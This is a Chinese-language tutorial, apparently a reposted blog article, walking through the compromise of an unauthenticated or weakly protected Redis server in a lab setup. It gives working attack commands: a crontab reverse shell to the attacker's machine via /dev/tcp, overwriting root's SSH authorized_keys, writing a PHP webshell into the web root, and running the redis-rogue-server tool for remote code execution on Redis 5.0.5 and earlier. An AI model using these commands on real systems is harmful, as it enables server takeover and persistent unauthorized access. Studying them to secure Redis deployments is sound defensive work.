黑客是如何通過開放的Redis服務入侵服務器的
VSole2022-05-09 06:02:58
0x00 簡要說明
百度百科:Redis(Remote Dictionary Server ),即遠程字典服務,是一個開源的使用ANSI C語言編寫、支持網絡、可基于內存亦可持久化的日志型、Key-Value數據庫,并提供多種語言的API。
Redis因配置不當可導致攻擊者直接獲取到服務器的權限。
- 利用條件:redis以root身份運行,未授權訪問,弱口令或者口令泄露等
環境準備:
測試環境IPKali192.168.100.99靶機(CentOS 7)192.168.100.101
0x01 CentOS 7安裝Redis
# 安裝gcc [root@localhost ~]# yum install -y gcc # 下載解壓redis安裝包 [root@localhost ~]# wget //download.redis.io/releases/redis-5.0.0.tar.gz [root@localhost ~]# tar xvf redis-5.0.0.tar.gz # 編譯并執行安裝,指定安裝目錄為/usr/local/redis [root@localhost ~]# cd redis-5.0.0/ [root@localhost redis-5.0.0]# make && make install PREFIX=/usr/local/redis # 啟動redis服務并保持后臺運行 [root@localhost redis-5.0.0]# cd /usr/local/redis/bin/ [root@localhost bin]# ./redis-server & # 關閉保護模式 [root@localhost bin]# ./redis-cli 127.0.0.1:6379> config set protected-mode no
0x02 通過計劃任務反彈shell
利用條件:
- redis以root身份運行
- 未授權訪問或授權口令已知
在kali中通過redis-cli -h 192.168.100.101 -p 6379連接到redis,輸入以下指令利用crontab反彈shell
# cron表達式格式:{秒數} {分鐘} {小時} {日期} {月份} {星期} {年份(可為空)} 命令
# 每分鐘執行一次echo "haha":* * * * * echo "haha"
192.168.100.101:6379> set x "* * * * * bash -i >& /dev/tcp/192.168.100.99/4444 0>&1"
# 設置目錄為/var/spool/cron/
192.168.100.101:6379> config set dir /var/spool/cron/
# 設置文件名為root
192.168.100.101:6379> config set dbfilename root
# 保存快照到本地
192.168.100.101:6379> save
kali中打開一個新的命令行窗口執行nc -lvnp 4444進行監聽,過一會兒就能接收到反彈回來的shell:

由于redis的壓縮儲存機制,在某些情況下會因為反彈shell的指令被壓縮,從而導致反彈shell失敗:
192.168.100.101:6379> set x "* * * * * bash -i >& /dev/tcp/192.168.100.100/4444 0>&1" 192.168.100.101:6379> save [root@localhost ~]# cat /var/spool/cron/root * ?bash -i &> /dev/tcp/192.168.100@/4 0>&1 192.168.100.101:6379> set x "* * * * * bash -i >& /dev/tcp/192.168.100.99/4444 0>&1" 192.168.100.101:6379> save [root@localhost ~]# cat /var/spool/cron/root * * * * * bash -i &> /dev/tcp/192.168.100.99/4444 0>&1
當運行redis的用戶為普通用戶時,會無法出現切換目錄失敗的情況:
config set dir /var/spool/cron (error) ERR Changing directory: Permission denied
0x03 通過寫入SSH公鑰遠程連接
利用條件:
- redis以root身份運行
- 未授權訪問或授權口令已知
- 服務器開放SSH服務且允許密鑰登錄
在kali中使用ssh-keygen -t rsa生成密鑰:

將生成的公鑰文件保存到本地:
┌──(root?kali)-[/home/kali] └─# (echo -e ""; cat /root/.ssh/id_rsa.pub; echo -e "") > kali
將文件寫入redis進行利用:
# 將上一步生成的kali文件寫入redis并設置鍵的值為kali ┌──(root?kali)-[/home/kali] └─# cat kali | redis-cli -h 192.168.100.101 -p 6379 -x set kali # 連接redis,并將公鑰文件寫入/root/.ssh/authorized_keys中 ┌──(root?kali)-[/home/kali] └─# redis-cli -h 192.168.100.101 -p 6379 192.168.100.101:6379> config set dir /root/.ssh/ 192.168.100.101:6379> config set dbfilename authorized_keys 192.168.100.101:6379> save # 使用密鑰進行登錄 ┌──(root?kali)-[/home/kali] └─# ssh -i /root/.ssh/id_rsa root@192.168.100.101

0x04 通過寫入文件獲取webshell
利用條件:
- 未授權訪問或授權口令已知
- 服務器開著WEB服務且WEB目錄路徑已知
倘若服務器運行著LAMP/LNMP服務,且已知工作目錄為/var/www/html/,可通過以下指令寫入webshell,或參考寫入SSH公鑰的過程寫入木馬文件:
config set dir /var/www/html/ config set dbfilename shell.php set x "" save
0x05 通過主從復制獲取shell
利用條件:
- 未授權訪問或授權口令已知
- Redis <=5.0.5
參考地址://github.com/n0b0dyCN/redis-rogue-server
使用方法:
python3 redis-rogue-server.py --rhost --rport --lhost --lport
參數說明:
- –rpasswd 如果目標Redis服務開啟了認證功能,可以通過該選項指定密碼
- –rhost 目標redis服務IP
- –rport 目標redis服務端口,默認為6379
- –lhost vps的IP地址
- –lport vps的端口,默認為21000
┌──(root?kali)-[/home/kali] └─# git clone //github.com/n0b0dyCN/redis-rogue-server.git ┌──(root?kali)-[/home/kali] └─# cd redis-rogue-server ┌──(root?kali)-[/home/kali] └─# python3 redis-rogue-server.py --rhost 192.168.100.101 --lhost 192.168.100.99

| 文章來源于https://codingnote.cc/p/547004/
VSole
網絡安全專家